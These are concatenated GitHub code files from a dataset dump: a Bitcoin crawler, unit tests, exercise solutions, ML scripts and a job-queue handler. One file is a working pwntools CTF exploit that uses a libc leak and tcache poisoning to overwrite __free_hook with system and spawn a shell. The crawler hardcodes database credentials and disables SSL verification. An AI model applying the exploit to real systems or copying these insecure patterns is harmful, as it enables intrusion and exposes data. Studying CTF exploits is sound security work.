extract_face(join(images_path, image_folder, image),\n join(cropped_path, cropped_folder), \n caption)\n\nif __name__ == '__main__':\n p = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter\n )\n p.add_argument('--data_path', '-dp', type=str)\n p.add_argument('--dataset', '-d', type=str,\n choices=list(DATASET_PATHS.keys()) + ['all'],\n default='all')\n p.add_argument('--compression', '-c', type=str, choices=COMPRESSION,\n default='c0')\n args = p.parse_args()\n\n if args.dataset == 'all':\n for dataset in DATASET_PATHS.keys():\n args.dataset = dataset\n extract_method_images(**vars(args))\n else:\n extract_method_images(**vars(args))\n","repo_name":"LSEDev/DeepfakeDetection","sub_path":"old_scripts/facecropper_script.py","file_name":"facecropper_script.py","file_ext":"py","file_size_in_byte":3266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"23066282932","text":"from blockchain import blockexplorer, statistics\nimport ssl\nimport json\nimport pymongo\n\nmyclient = pymongo.MongoClient(\n \"mongodb+srv://minhtrih:minhtrih@cluster0-5rhqc.mongodb.net/test?retryWrites=true&ssl=true&ssl_cert_reqs=CERT_NONE\")\nmydb = myclient[\"btc_data\"]\nbtc_data = mydb.btc_data\nssl._create_default_https_context = ssl._create_unverified_context\nlatest_block = blockexplorer.get_latest_block()\nlatest_block_json = latest_block.__dict__\nheight = latest_block_json['height']\nfor block_height in range(1):\n blocks = blockexplorer.get_block_height(height-block_height)\n transaction_hash = ''\n if blocks and len(blocks) == 1:\n blocks_json = blocks[0].__dict__\n if blocks_json['transactions'] and blocks_json['transactions']:\n transactions = blocks_json['transactions']\n value_transactions = []\n for tx in range(len(transactions)):\n transaction_number = 'transaction ' + str(tx)\n value_inputs = []\n value_outputs = []\n transaction = transactions[tx].__dict__\n transaction_hash = transaction['hash']\n if transaction['inputs'] and len(transaction['inputs']):\n for ip in range(len(transaction['inputs'])):\n input = transaction['inputs'][ip].__dict__\n if 'address' in input:\n value_input = {\n 'address_from': input['address'],\n 'value': \"%.8f\" % float(input['value']/100000000)\n }\n value_inputs.append(value_input)\n if transaction['outputs'] and len(transaction['outputs']):\n for op in range(len(transaction['outputs'])):\n output = transaction['outputs'][op].__dict__\n if 'address' in output:\n value_output = {\n 'address_to': output['address'],\n 'value': \"%.8f\" % float(output['value']/100000000)\n }\n value_outputs.append(value_output)\n value_transaction = {\n transaction_number: [\n {'hash': transaction_hash, 'inputs': value_inputs, 'outputs': value_outputs}]\n }\n value_inputs = None\n value_outputs = None\n value_transactions.append(value_transaction)\n value = {\n 'hash': blocks_json['hash'],\n 'block_height': blocks_json['height'],\n 'transactions': value_transactions\n }\n value_transactions = None\n btc_data.insert_one(value)\n value = None\n","repo_name":"minhtrih/Crawl-ETH-MongoDB","sub_path":"crawl-btc-mongoDB.py","file_name":"crawl-btc-mongoDB.py","file_ext":"py","file_size_in_byte":2949,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"16976321834","text":"#!/usr/bin/env python3\n\n\"\"\"\ntest.unit_tests_d.ut_dep: dependency unit tests for the MMGen suite\n\n Test whether dependencies are installed and functional.\n No data verification is performed.\n\"\"\"\n\nimport sys\nfrom subprocess import run,PIPE\n\nfrom mmgen.util import msg,rmsg,ymsg,gmsg\nfrom mmgen.exception import NoLEDSupport\n\nfrom ..include.common import cfg,vmsg,check_solc_ver\n\nclass unit_tests:\n\n\taltcoin_deps = ('py_ecc','solc','keccak','pysocks')\n\twin_skip = ('led',)\n\n\tdef led(self,name,ut):\n\t\tfrom mmgen.led import LEDControl\n\t\ttry:\n\t\t\tLEDControl(enabled=True)\n\t\texcept NoLEDSupport:\n\t\t\tymsg('Warning: no LED support on this platform')\n\t\telse:\n\t\t\tgmsg('LED support found!')\n\t\treturn True\n\n\tdef keccak(self,name,ut): # used by ETH, XMR\n\t\tfrom mmgen.util2 import get_keccak\n\t\ttry:\n\t\t\tget_keccak()\n\t\texcept Exception as e:\n\t\t\trmsg(str(e))\n\t\t\treturn False\n\t\telse:\n\t\t\treturn True\n\n\tdef py_ecc(self,name,ut): # ETH\n\t\tfrom py_ecc.secp256k1 import privtopub\n\t\treturn True\n\n\tdef pysocks(self,name,ut):\n\t\timport requests,urllib3\n\t\turllib3.disable_warnings()\n\t\tsession = requests.Session()\n\t\tsession.trust_env = False\n\t\tsession.proxies.update({'https':'socks5h://127.243.172.8:20677'})\n\t\ttry:\n\t\t\tsession.get('https://127.188.29.17')\n\t\texcept Exception as e:\n\t\t\tif type(e).__name__ == 'ConnectionError':\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\tprint(e)\n\t\treturn False\n\n\tdef secp256k1(self,name,ut):\n\t\tfrom mmgen.proto.secp256k1.secp256k1 import pubkey_gen\n\t\tpubkey_gen(bytes.fromhex('deadbeef'*8),1)\n\t\treturn True\n\n\tdef cryptography(self,name,ut):\n\t\tfrom cryptography.hazmat.primitives.ciphers import Cipher,algorithms,modes\n\t\tfrom cryptography.hazmat.backends import default_backend\n\t\tc = Cipher(algorithms.AES(b'deadbeef'*4),modes.CTR(b'deadbeef'*2),backend=default_backend())\n\t\tencryptor = c.encryptor()\n\t\tencryptor.update(b'foo') + encryptor.finalize()\n\t\treturn True\n\n\tdef ecdsa(self,name,ut):\n\t\timport ecdsa\n\t\tpko = ecdsa.SigningKey.from_secret_exponent(12345678901234,curve=ecdsa.SECP256k1)\n\t\tpko.get_verifying_key().to_string().hex()\n\t\treturn True\n\n\tdef ripemd160(self,name,ut):\n\t\timport hashlib\n\t\tif hashlib.new.__name__ == 'hashlib_new_wrapper':\n\t\t\tymsg('Warning: RIPEMD160 missing in hashlib, falling back on pure-Python implementation')\n\t\thashlib.new('ripemd160')\n\t\treturn True\n\n\tdef gmpy(self,name,ut):\n\t\tfrom gmpy2 import context,set_context,sqrt,cbrt\n\t\t# context() parameters are platform-dependent!\n\t\tset_context(context(precision=75,round=1)) # OK for gmp 6.1.2 / gmpy 2.1.0\n\t\treturn True\n\n\tdef aiohttp(self,name,ut):\n\t\timport asyncio,aiohttp\n\t\tasync def do():\n\t\t\tasync with aiohttp.ClientSession(\n\t\t\t\theaders = { 'Content-Type': 'application/json' },\n\t\t\t\tconnector = aiohttp.TCPConnector(),\n\t\t\t):\n\t\t\t\tpass\n\t\tasyncio.run(do())\n\t\treturn True\n\n\tdef pexpect(self,name,ut):\n\t\timport pexpect\n\t\tfrom pexpect.popen_spawn import PopenSpawn\n\t\treturn True\n\n\tdef scrypt(self,name,ut):\n\t\tpasswd,salt = b'foo',b'bar'\n\t\tN,r,p = 4,8,16\n\t\tbuflen = 64\n\n\t\tvmsg('Testing builtin scrypt module (hashlib)')\n\t\tfrom hashlib import scrypt # max N == 14!!\n\t\tscrypt(password=passwd,salt=salt,n=2**N,r=r,p=p,maxmem=0,dklen=buflen)\n\n\t\tvmsg('Testing standalone scrypt module')\n\t\timport scrypt\n\t\tscrypt.hash(passwd, salt, N=2**N, r=r, p=p, buflen=buflen)\n\n\t\treturn True\n\n\tdef solc(self,name,ut):\n\t\tfrom mmgen.protocol import init_proto\n\t\tsolc_ok = check_solc_ver()\n\t\tif solc_ok:\n\t\t\tcmd = [\n\t\t\t\t'python3',\n\t\t\t\t'scripts/create-token.py',\n\t\t\t\t'--coin=ETH',\n\t\t\t\t'--name=My Fake Token',\n\t\t\t\t'--symbol=FAKE',\n\t\t\t\t'--supply=100000000000000000000000000',\n\t\t\t\t'--decimals=18',\n\t\t\t\t'--stdout',\n\t\t\t\tinit_proto( cfg, 'eth' ).checksummed_addr('deadbeef'*5),\n\t\t\t]\n\t\t\tcp = run(cmd,stdout=PIPE,stderr=PIPE)\n\t\t\tvmsg(cp.stderr.decode())\n\t\t\tif cp.returncode:\n\t\t\t\tmsg(cp.stderr.decode())\n\t\t\t\treturn False\n\t\treturn True\n","repo_name":"mmgen/mmgen-wallet","sub_path":"test/unit_tests_d/ut_dep.py","file_name":"ut_dep.py","file_ext":"py","file_size_in_byte":3768,"program_lang":"python","lang":"en","doc_type":"code","stars":111,"dataset":"github-code","pt":"39"} +{"seq_id":"17622239254","text":"import math\n\ndef str_to_dic(s):\n d = {}\n for c in s:\n if c in d:\n d[c] += 1\n else:\n d[c] = 1\n return d\n\n# for each test case\nfor _ in range(int(input())):\n s = input()\n if len(s) % 2 == 0:\n s1, s2 = s[:len(s)//2], s[len(s)//2:]\n # make a dict for each string\n d1, d2 = str_to_dic(s1), str_to_dic(s2)\n # compare\n counter = 0\n for k, v in d1.items():\n if k in d2:\n if v > d2[k]:\n counter += v - d2[k]\n else:\n counter += v\n # print the nb of letters to change\n print(int(counter))\n else:\n print('-1')\n","repo_name":"ntnprdhmm/hackerrank","sub_path":"algorithms/strings/anagram.py","file_name":"anagram.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"23142466427","text":"from pwn import *\n\n#context.log_level = 'debug'\ncontext.terminal = ['tmux', 'new-window']\n\nbinary = './chall/phonebook'\nnc = 'nc 0.0.0.0 1337'\nelf = context.binary = ELF(binary, checksec=False)\ngdbscript = \"\"\"\n b * edit_name + 140\n c\n \"\"\"\n\nif len(sys.argv) == 1: p = process(binary)\nelif sys.argv[1] == 'd': p = gdb.debug(binary, gdbscript)\nelif sys.argv[1] == 'r': p = remote(nc.split(' ')[1], int(nc.split(' ')[2]))\nelse: p = process(binary); print('[-] weird option: ' + sys.argv[1])\n\n# Leak libc\n\n\n# malloc person1\n# malloc name1(0x30, any)\np.sendline(b'1\\n0\\n32\\n' + 30 * b'B' + b'\\n555\\n1')\n\n# malloc person2\n# malloc name2(0x420, any)\np.sendline(b'1\\n1\\n1056\\n' + 10 * b'A' + b'\\n666\\n1')\n\n# edit name1(0x20, any)\np.sendline(b'2\\n0\\n1\\n20\\nCCCCCCC')\n\n# unfriend person2\np.sendline(b'4\\n1\\n')\n\n# pofuk person1\np.sendline(b'2\\n0\\n2\\n66666666')\n# call person1 / jump to main\np.sendline(b'3\\n0\\n')\n\n# edit relation2(friendly)\np.sendline(b'2\\n1\\n3\\n1')\n# call person2\np.sendline(b'3\\n1')\n\np.recvuntil(b'Hey ')\nleak = p.recv(6)\nreal_leak = ''\nfor i in reversed(leak):\n real_leak += str(hex(i))[2:]\nreal_leak = int(real_leak, 16)\noffset = 0x1ecbe0\n\nlibc_base = real_leak - offset\nfree_hook = libc_base + 0x001eee48\nlibc_system = libc_base + 0x000522c0\nprint(f'libc base: {hex(libc_base)}')\nprint(f'free hook: {hex(free_hook)}')\nprint(f'libc system: {hex(libc_system)}')\n\n\n# Tcache poison part\n\n# edit person2 phone(free_hook)\np.sendline(b'2\\n1\\n2')\np.sendline(p64(free_hook-0x10))\n\n# edit name1(0x30, /bin/sh\\0)\np.sendline(b'2\\n0\\n1\\n33\\n/bin/sh\\0')\n\n# add hidden note\np.sendline(b'5\\n' + 0x10 * b'A' + p64(libc_system))\n\np.sendline(b'4\\n0')\n\np.interactive()\np.close()\n","repo_name":"DragonSecSI/DCTF-2022","sub_path":"challs/phonebook/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"39"} +{"seq_id":"17171239300","text":"import pyperclip\ntokenList = []\n\ndef loop(selectedText):\n for i in range(len(selectedText)):\n token = selectedText[0:i + 1]\n if token not in tokenList:\n tokenList.append(token)\n\nprint('文字列を入力:')\ntext = input()\nloop(text)\nloop(text.upper())\nloop(text.lower())\nloop(text.capitalize())\n\nloop(text.replace(' ', ''))\nloop(text.replace(' ', '').upper())\nloop(text.replace(' ', '').lower())\nloop(text.replace(' ', '').capitalize())\n\ntokenMapText = \"[\\n\"\nfor i in range(len(tokenList)):\n tokenMapText = tokenMapText + f' \"{tokenList[i]}\"'\n if i != len(tokenList) - 1:\n tokenMapText = tokenMapText + ','\n tokenMapText = tokenMapText + '\\n'\ntokenMapText = tokenMapText + ']'\nprint(tokenMapText)\nprint('firestoreの\"tokenMap\"フィールに上記のマップを追加してください。')\nprint('クリップボードにコピーされました。')\npyperclip.copy(tokenMapText)","repo_name":"Basssu/manaoke-get-lyric","sub_path":"makeCelebritiesTokenListForSearching.py","file_name":"makeCelebritiesTokenListForSearching.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"72296313073","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def isPalindrome(self, head: Optional[ListNode]) -> bool:\n dummy = ListNode()\n dummy.next = head\n fast, slow = dummy, dummy\n while fast.next and fast.next.next:\n fast = fast.next.next\n slow = slow.next\n head2 = slow.next\n slow.next = None\n # print(head2)\n head2 = self.reverseLinkedList(head2)\n # print(head2)\n while head and head2:\n if head.val != head2.val:\n return False\n head = head.next\n head2 = head2.next\n return True\n \n def reverseLinkedList(self, head):\n head_prev = None\n while head.next:\n head_next = head.next\n head.next = head_prev\n head_prev = head\n head = head_next\n head.next = head_prev\n return head\n ","repo_name":"yang-su2000/Leetcode-algorithm-practice","sub_path":"0234-palindrome-linked-list/0234-palindrome-linked-list.py","file_name":"0234-palindrome-linked-list.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"10041921634","text":"import re\nfrom nltk.tokenize import word_tokenize # for tokenization\nfrom nltk.stem import PorterStemmer # for stemming\nfrom nltk.corpus import stopwords\nimport pandas as pd\nstop_words = set(stopwords.words('english'))\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.model_selection import train_test_split\nimport array \n\ndf = pd.read_csv('/home/ibrahim/PycharmProjects/AmazonProductReviewsEvaluation/amazon_alexa.tsv',sep='\\t')\n#data processing function\ndef data_processing(text):\n text = text.lower()\n text = re.sub(r\"http\\S+www\\S+|https\\S+\", '', text, flags=re.MULTILINE)\n text = re.sub(r'[^\\w\\s]', '', text)\n text_tokens = word_tokenize(text)\n filtered_text = [w for w in text_tokens if not w in stop_words]\n return \" \".join(filtered_text)\n\n#applying data processing\ndf.verified_reviews = df['verified_reviews'].apply(data_processing)\n\n#data stemming\nstemmer = PorterStemmer()\ndef stemming(data):\n text = [stemmer.stem(word) for word in data]\n return data\n\n#applying data stemming\ndf['verified_reviews'] = df['verified_reviews'].apply(lambda x: stemming(x))\n\nx = df['verified_reviews']\ny = df['feedback']\n\n#converting words to numbers\ncv = CountVectorizer()\nx = cv.fit_transform(df['verified_reviews'])\n\n#spliting to training and testing data\nx_train, x_test, y_train, y_test = train_test_split(x,y,test_size=0.2,random_state=42)\n\nx_train = x_train.toarray()\nx_test = x_test.toarray()\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense\n\nmax_accuracy = 0\nmax_model = None\nlayers = array.array('i', [0]*10)\nmax_layers = array.array('i',[0] *10)\n\ndef nested_loop(max_depth, max_nodes, index = 0, model = Sequential()):\n global max_accuracy\n global max_model\n global layers\n global max_layers\n if(index == max_depth):\n model.add(Dense(units=1, activation='sigmoid'))\n\n model.compile(optimizer='rmsprop', loss='binary_crossentropy', metrics=['accuracy'])\n history = model.fit(x_train, y_train, batch_size=10, epochs=10)\n\n test_loss, test_accuracy = model.evaluate(x_test, y_test)\n if(test_accuracy > max_accuracy):\n max_accuracy = test_accuracy\n max_model = model\n max_layers = array.array('i', [0] * len(layers))\n for k in range (len(max_layers)):\n max_layers[k] = layers[k]\n print('Test loss: ',test_loss)\n print('Test accuracy: ', test_accuracy)\n print('max accuracy: ', max_accuracy)\n print('max hidden layers: ', len(max_layers))\n for i in range(len(max_layers)):\n print('max layer[', i,'] = ', max_layers[i])\n print('current hidden layers: ', len(layers))\n for i in range(len(layers)):\n print('layer[', i,'] = ', layers[i])\n model.pop()\n else :\n for i in range(1, max_nodes+1):\n model.add(Dense(units=i, activation='relu'))\n layers[index] = i\n nested_loop(max_depth, max_nodes, index + 1, model)\n model.pop()\n \nfor i in range(1, 16):\n layers = array.array('i', [0] * (i))\n nested_loop(i,32)","repo_name":"LBAppDev/ProductReviews","sub_path":"trainLoop.py","file_name":"trainLoop.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"567496750","text":"\"\"\"\r\nThe primes 3, 7, 109, and 673, are quite remarkable. By taking any two primes and concatenating them in any order the\r\n result will always be prime. For example, taking 7 and 109, both 7109 and 1097 are prime.\r\n The sum of these four primes, 792, represents the lowest sum for a set of four primes with this property.\r\n\r\nFind the lowest sum for a set of five primes for which any two primes concatenate to produce another prime.\r\n\"\"\"\r\n\r\nimport os\r\n\r\nfrom collections import defaultdict\r\nfrom itertools import count\r\n\r\nfrom sympy import Sieve, isprime\r\n\r\ntry:\r\n from .utils import output_answer\r\nexcept ImportError:\r\n from utils import output_answer\r\n\r\n\r\ndef solve(n=5):\r\n \"\"\"\r\n It can be seen that 2 can be excluded, because if that is concatenated to any prime, that prime isn't prime anymore.\r\n\r\n We solve this simply by keeping a list of potential solutions and going through each prime starting with 3.\r\n First we go through each solution in the potential solutions, and see if this prime can be added to it.\r\n If the prime can be added, we create a new potential solution with this prime.\r\n Secondly a new solution is added to the list of potential solutions for the prime, [prime].\r\n \"\"\"\r\n sieve = Sieve()\r\n combinations = defaultdict(set)\r\n answer = None\r\n\r\n for i in count(2):\r\n sieve.extend_to_no(i)\r\n prime_i = sieve._list[i - 1]\r\n\r\n for prime_existing in sieve.primerange(3, prime_i):\r\n if isprime(int(str(prime_i) + str(prime_existing))) \\\r\n and isprime(int(str(prime_existing) + str(prime_i))):\r\n combinations[prime_i].add(prime_existing)\r\n combinations[prime_existing].add(prime_i)\r\n\r\n possible_solutions = {\r\n (matching_prime, prime_i): combinations[matching_prime].intersection(combinations[prime_i])\r\n for matching_prime in combinations[prime_i]\r\n }\r\n possible_solutions = {k: i for k, i in possible_solutions.items() if i}\r\n while possible_solutions:\r\n possible_solutions = {\r\n tuple(sorted(prime_set + (matching_prime, ))): this_set.intersection(combinations[matching_prime])\r\n for prime_set, this_set in possible_solutions.items() for matching_prime in this_set}\r\n\r\n for possible_solution in possible_solutions:\r\n if len(possible_solution) == n:\r\n answer = possible_solution\r\n break\r\n\r\n possible_solutions = {k: i for k, i in possible_solutions.items() if i}\r\n\r\n if answer:\r\n break\r\n\r\n return sum(answer)\r\n\r\n\r\nsolve.answer = 26033\r\n\r\n\r\nif __name__ == '__main__':\r\n output_answer(os.path.splitext(__file__)[0], solve)\r\n","repo_name":"rheard/ProjectEuler","sub_path":"p060.py","file_name":"p060.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"41955201915","text":"#問題3-6: ログのフィルター\n\ninput_count = 5\ninput_pattern = \"ai\"\ninput_data = [\"pizza\",\"paiza\",\"aizu\",\"ai\",\"sai\"]\nmatch = False\n\nfor i in range(input_count):\n string = input_data[i]\n if input_pattern in string:\n print(string)\n match = True\n\nif match == False:\n print(\"None\")","repo_name":"ryumasgit/Python_practice","sub_path":"practice-3/practice-3-6.py","file_name":"practice-3-6.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"33967160838","text":"\"\"\"\nInversion Count using Divide and Conquer\nTime-Complexity - O(n log n), where n is the length of the array\nSpace-Complexity - O(n)\n\"\"\"\n\n\ndef divide(A):\n n = len(A)\n if n > 1:\n leftHalf = A[:n/2]\n rightHalf = A[n/2:]\n x = divide(leftHalf)\n y = divide(rightHalf)\n z = splitInversion(A, leftHalf, rightHalf)\n return (x + y + z)\n return 0\n\n\ndef splitInversion(A, B, C):\n i = j = k = inversionCount = 0\n\n while i < len(B) and j < len(C):\n if B[i] < C[j]:\n A[k] = B[i]\n i += 1\n elif B[i] > C[j]:\n A[k] = C[j]\n j += 1\n inversionCount += len(B) - i\n else:\n A[k] = B[i]\n k += 1\n A[k] = B[i]\n i += 1\n j += 1\n k += 1\n\n # Copy the untouched elements of the array B to A\n while i < len(B):\n A[k] = B[i]\n k += 1\n i += 1\n\n # Copy the untouched elements of the array C to A\n while j < len(C):\n A[k] = C[j]\n k += 1\n j += 1\n\n return inversionCount\n\n\n ### Testcases ###\n# A = [9,8,7,6,5,4]\n# print divide(A), A\n","repo_name":"AjithPanneerselvam/Algorithms","sub_path":"Divide and conquer/inversionCount.py","file_name":"inversionCount.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"19273256349","text":"# -*- coding:utf-8 -*-\n# Code by Aaron\n\n# 插入排序\n\ndef insertionSort(arr):\n for i in range(1, len(arr)):\n key = arr[i]\n j = i - 1\n while j >= 0 and key < arr[j]:\n arr[j + 1] = arr[j]\n j -= 1\n arr[j + 1] = key\n\narr = [12, 11, 13, 5, 6, 1, 10]\nprint('原始数组:', arr)\ninsertionSort(arr)\nprint('排序后的数组:',arr)","repo_name":"ToBeSDET/softwareTest","sub_path":"exercise/14插入排序.py","file_name":"14插入排序.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"33112682335","text":"from text_to_speech import convert_text_to_speech\nimport json\n\n# converting each word in a podcast episode into an mp3 files using AWS polly\npath = './data/podcasts-transcripts-0to2/spotify-podcasts-2020/podcasts-transcripts/1/X/show_1xKnktVBQpKxshnspq2QUe/181kcTLzK5iJSW2r2o9vqE.json'\nepi_id = path.split('/')[-1].split('.json')[0]\n\n\ndef get_transcript_lines_and_times(path):\n# function to get the different words in corresponding times from the podcast data\n with open(path, 'r') as f:\n output = json.load(f)\n episode = []\n words = []\n lines = []\n for result in output['results']:\n for alternative in result['alternatives']:\n episode_transcript = alternative.get('transcript')\n if episode_transcript is not None:\n episode.append(episode_transcript)\n for alt in alternative['words']:\n start_times = alt.get('startTime')[:-1]\n end_times = alt.get('endTime')[:-1]\n spoken_word = alt.get('word')\n words.append([float(start_times), float(end_times), spoken_word])\n for word in words:\n if word is not None:\n lines.append(word[2])\n print(len(lines))\n for i, phrase in enumerate(lines):\n transcript_chunks = convert_text_to_speech(phrase, sound_bite=f'./polly-data/{epi_id}_word{i}.mp3')\n return(transcript_chunks)\n\n\nif __name__ == '__main__':\n episode_chunks = get_transcript_lines_and_times(path)\n","repo_name":"callRoko/podcasts-retrieval","sub_path":"spectrograms/podcast_epi_to_speech.py","file_name":"podcast_epi_to_speech.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"20696567624","text":"#!/usr/bin/env python3\n\nimport sys\nimport re\nimport os\nimport os.path\nimport subprocess\n\nBASE_DIR = '/opt/tsadmdev'\nsys.path.insert(0, os.path.join(BASE_DIR, 'libexec'))\nsys.path.insert(0, BASE_DIR)\n\nimport tsadm.config as tsadm_conf\nimport tsadm.log\nimport runner\n\n\nat_cmd = '/usr/bin/at'\nrunbg_cmd = os.path.join(BASE_DIR, 'libexec', 'jobq.runbg.py')\nre_job_id = re.compile(r'^[a-f0-9]+$')\n\nresp_headers = {\n 'ERROR': '500 INTERNAL ERROR\\n',\n 'BADREQ': '400 BAD REQUEST\\n',\n 'BADCMD': '401 BAD COMMAND\\n',\n 'NOTCMD': '402 COMMAND NOT FOUND\\n',\n 'BADJID': '403 BAD JOB ID\\n',\n 'NOSITE': '404 SITE NOT FOUND\\n',\n 'OK': '200 OK'\n}\n\n\ndef _exit(status):\n tsadm.log.dbg('END')\n tsadm.log.log_close()\n sys.exit(status)\n\n\ndef _exit_badreq(req_line):\n tsadm.log.err('bad request: ', req_line)\n print(resp_headers['BADREQ'])\n _exit(1)\n\n\n# --- start log\ntsadm.log.log_open(tsadm_conf.get('JOBQ_SYSLOG_TAG', 'tsadmdev-jobqd'))\ntsadm.log.dbg('START')\ntsadm.log.dbg('sys.path: ', sys.path)\ntsadm.log.dbg('os.environ: ', os.environ)\n\n# --- read request\nreq_line = sys.stdin.readline().strip()\ntsadm.log.dbg('req_line: ', req_line)\n\nline_items = req_line.split(' ')\ntry:\n req = line_items[0]\n req_args = line_items[1:]\nexcept IndexError:\n tsadm.log.dbg('bad args')\n _exit_badreq(req_line)\n\ntsadm.log.dbg('req: ', req)\ntsadm.log.dbg('req_args: ', req_args)\n\n# --- check request\nif req != '.run' and req != '.runbg' or len(req_args) < 1:\n _exit_badreq(req_line)\n\n# --- run requested job\nif req == '.run':\n\n # -- get args\n try:\n sname = req_args[0]\n senv = req_args[1]\n cmd_name = req_args[2]\n except IndexError:\n _exit_badreq(req_line)\n\n try:\n cmd_args = req_args[3:]\n except:\n cmd_args = []\n\n # -- cd to site's env home\n if not runner.chdir(sname, senv):\n print(resp_headers['NOSITE'])\n _exit(1)\n\n # -- check cmd name\n if not runner.check_cmd_name(cmd_name):\n print(resp_headers['BADCMD'])\n _exit(1)\n\n # -- check cmd path\n cmd_path = runner.cmd_path(BASE_DIR, cmd_name)\n if cmd_path is None:\n print(resp_headers['BADCMD'])\n _exit(1)\n\n # -- run command\n cmd_rtrn, cmd_out = runner.run(cmd_path, cmd_args)\n tsadm.log.dbg('cmd_rtrn: ', cmd_rtrn)\n\n print(resp_headers['OK'])\n print('CMD-RTRN:', cmd_rtrn)\n print()\n\n if cmd_out is None:\n tsadm.log.wrn('cmd_name: ', cmd_name, ' - cmd_out: ', cmd_out)\n else:\n for l in cmd_out.readlines():\n print(l.decode('utf-8', 'replace'), end='')\n cmd_out.close()\n\n tsadm.log.inf('{}:{}'.format(cmd_name, cmd_rtrn))\n _exit(0)\n\nelif req == '.runbg':\n\n if not os.path.exists(at_cmd) or not os.access(at_cmd, os.X_OK):\n tsadm.log.err(at_cmd, ': not found or executable')\n print(resp_headers['ERROR'])\n _exit(1)\n\n if not os.path.exists(runbg_cmd) or not os.access(runbg_cmd, os.X_OK):\n tsadm.log.err(runbg_cmd, ': not found or executable')\n print(resp_headers['ERROR'])\n _exit(1)\n\n job_id = req_args[0]\n if not re_job_id.match(job_id):\n tsadm.log.err('bad jobid: ', job_id)\n print(resp_headers['BADJID'])\n _exit(1)\n\n at_input = '{} --job-id={}'.format(runbg_cmd, job_id)\n at = subprocess.Popen([at_cmd, 'now'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n try:\n at_out, at_err = at.communicate(at_input.encode('utf-8', 'replace'))\n at_rtrn = at.wait()\n at_out = at_out.decode('utf-8', 'replace').replace('warning: commands will be executed using /bin/sh', '')\n except subprocess.TimeoutExpired as e:\n tsdam.log.err('at comm: ', e)\n at_out = 'at comm failed'\n at_rtrn = 128\n\n print(resp_headers['OK'])\n print('CMD-RTRN:', at_rtrn)\n print()\n print('START:', job_id, sep='')\n print(at_out)\n tsadm.log.inf('{}[{}]: runbg'.format(job_id, at_rtrn))\n _exit(0)\n\ntsadm.log.err('end of program reached!')\nprint(resp_headers['ERROR'])\n_exit(128)\n","repo_name":"jctincan/tsadm-webapp","sub_path":"libexec/jobq.xinetd.py","file_name":"jobq.xinetd.py","file_ext":"py","file_size_in_byte":4063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"15771452076","text":"from .Regularisers import Regularisation\nimport numpy as np\nfrom scipy import signal\nfrom numpy import random\n\n\nclass Layer():\n '''\n NN Layer:\n -----------------\n A Layer of the Neural Network\n\n Args:\n -----------------------\n n_x: int \n Number of input neurons.\n \n n_y: int \n Number of output neurons.\n \n eta: float (defaault 0.01)\n Learning rate\n \n seed: int (default 69)\n Seed for generating random weights/ biases\n \n regulariser: function (default Regularisation.l2(0.0) or No regularisation)\n Adds L1/ L2 regularisation\n\n Parameters:\n -------------------------\n W: np.array (shape = (ny, nx))\n Weights initialised using the given seed value\n \n B: np.array (shape = (1, ny))\n Biases initialised using the given seed value\n \n N_x: int \n Number of input neurons.\n \n N_y: int \n Number of output neurons.\n \n regulariser:\n The regularisation function\n '''\n\n def __init__(self, n_x, n_y, eta=0.01, seed=69, regulariser = Regularisation.l2(0.0)):\n self.Nx = n_x # The number of input neurons\n self.Ny = n_y # The number of output neurons\n self.eta = eta # Learning Rate\n self.random = np.random.RandomState(seed)\n self.regulariser = regulariser\n # Initialising weights and biases\n self.W = self.random.normal(\n loc=0.0, scale=1.0, size=(self.Ny, self.Nx))\n self.B = self.random.normal(loc=0.0, scale=1.0, size=(1, self.Ny))\n\n def _forward(self, X_in):\n # Forwarding the input\n self.X_in = X_in\n output = np.dot(X_in, self.W.T)\n output += self.B\n return output\n\n def _backward(self, grad_EY):\n # Back-propagating\n grad_EX = np.dot(grad_EY, self.W)\n delta_W = np.dot(grad_EY.T, self.X_in) + self.regulariser(self.W)\n self.W -= self.eta * delta_W\n delta_B = grad_EY.sum(axis=0)\n self.B -= self.eta * delta_B\n return grad_EX\n\n\n\nclass Activation():\n '''\n Activation Layer:\n ------------------\n Args:\n ------------------\n function: str (relu, sigmoid, tanh)\n The activation function\n '''\n\n def __init__(self, function='relu'):\n self.function = function\n\n def _forward(self, X_in):\n self.X_in = X_in\n if (self.function == 'relu'):\n Y_out = X_in * (X_in > 0)\n return Y_out\n\n elif (self.function == 'sigmoid'):\n Y_out = 1/(1 + np.exp(-1*(X_in)))\n return Y_out\n\n elif (self.function == 'tanh'):\n Y_out = np.tanh(X_in)\n return 